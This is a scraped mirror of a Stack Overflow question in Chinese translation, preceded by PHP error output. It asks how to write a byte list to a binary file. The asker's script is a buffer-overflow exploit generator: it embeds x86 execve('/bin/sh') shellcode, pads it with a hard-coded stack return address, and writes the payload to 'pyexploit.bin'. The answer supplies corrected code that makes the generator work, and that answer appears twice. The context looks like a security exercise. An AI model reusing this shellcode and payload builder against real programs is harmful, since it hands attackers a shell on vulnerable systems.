Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/arrays/14.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何将字节列表写入Python文件?_Python_Arrays_File - Fatal编程技术网

如何将字节列表写入Python文件?

如何将字节列表写入Python文件?,python,arrays,file,Python,Arrays,File,我有一个要作为二进制文件写入的字节列表: 这就是我所拥有的: import struct as st shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+ "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+ "\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+ "\xcd\x80\xe8\xdc\xff\xff

我有一个要作为二进制文件写入的字节列表:

这就是我所拥有的:

import struct as st

shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
     "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
     "\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
     "\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")

def generateexploitmessage(nops, retaddr):
    message = []
    for x in xrange(0,128):
        message += st.pack(">I",retaddr)
    print(message)
    for x in xrange(0,len(shellcode)):
        message[x] = shellcode[x]
    print(message)
    print(len(message))
    return message


def reversebyteorder(arg):
    returnarray = []
    for x in xrange(0,len(arg),4):
        temparray = bytearray(arg[x:x+4])[::-1]
        print temparray
        returnarray += temparray
    return returnarray


def writebytestofile(message):
    f = open("pyexploit.bin",'wb')
    print message 
    f.write(message)
    f.close()


def main():
    print shellcode
    exploit =generateexploitmessage(0,0xbffff614)
    readyexploit = reversebyteorder(exploit)
    writebytestofile(readyexploit)


if __name__ == '__main__':
    main()
我收到的错误消息如下:

Traceback (most recent call last):
  File "generateexploit.py", line 47, in <module>
    main()
  File "generateexploit.py", line 43, in main
    writebytestofile(readyexploit)
  File "generateexploit.py", line 35, in writebytestofile
    f.write(message)
TypeError: argument 1 must be string or buffer, not list
回溯(最近一次呼叫最后一次):
文件“generateexploit.py”,第47行,在
main()
文件“generateexploit.py”,第43行,在main中
writebytestofile(readyexploit)
文件“generateexploit.py”,第35行,以writebytestofile的形式
f、 写(信息)
TypeError:参数1必须是字符串或缓冲区,而不是列表

我知道我需要以某种方式将我的列表或我拥有的内容转换为可写格式,但我不知道如何转换。我试着把一个
字节数组(message)
放在我将最后一条消息写入文件的地方,但那没有用。

Bot
generateeexploitmessage()
reverseebyteorder()
生成一个字节(整数)列表,而不是
bytesarray()
。在写入之前,再次将结果包装在
bytearray()
中:

f.write(bytearray(message))
或者,坚持更早地生成一个
bytearray
;此处不需要使用列表:

def generateexploitmessage(nops, retaddr):
    message = bytearray()
    for x in xrange(128):
        message += st.pack(">I", retaddr)
    message[:len(shellcode)] = shellcode
    return message

def reversebyteorder(arg):
    returnarray = bytearray()
    for x in xrange(0, len(arg), 4):
        temparray = bytearray(arg[x:x + 4])[::-1]
        returnarray += temparray
    return returnarray

Bot
generateexploitmessage()
reverseebyteorder()
生成一个字节(整数)列表,而不是
bytesarray()
。在写入之前,再次将结果包装在
bytearray()
中:

f.write(bytearray(message))
或者,坚持更早地生成一个
bytearray
;此处不需要使用列表:

def generateexploitmessage(nops, retaddr):
    message = bytearray()
    for x in xrange(128):
        message += st.pack(">I", retaddr)
    message[:len(shellcode)] = shellcode
    return message

def reversebyteorder(arg):
    returnarray = bytearray()
    for x in xrange(0, len(arg), 4):
        temparray = bytearray(arg[x:x + 4])[::-1]
        returnarray += temparray
    return returnarray

奇怪,当我不久前试过它时,这不起作用,但我现在似乎有一个写的二进制文件,我会接受你的答案。奇怪,当我不久前试过它时,这不起作用,但我现在似乎有一个写的二进制文件,我会接受你的答案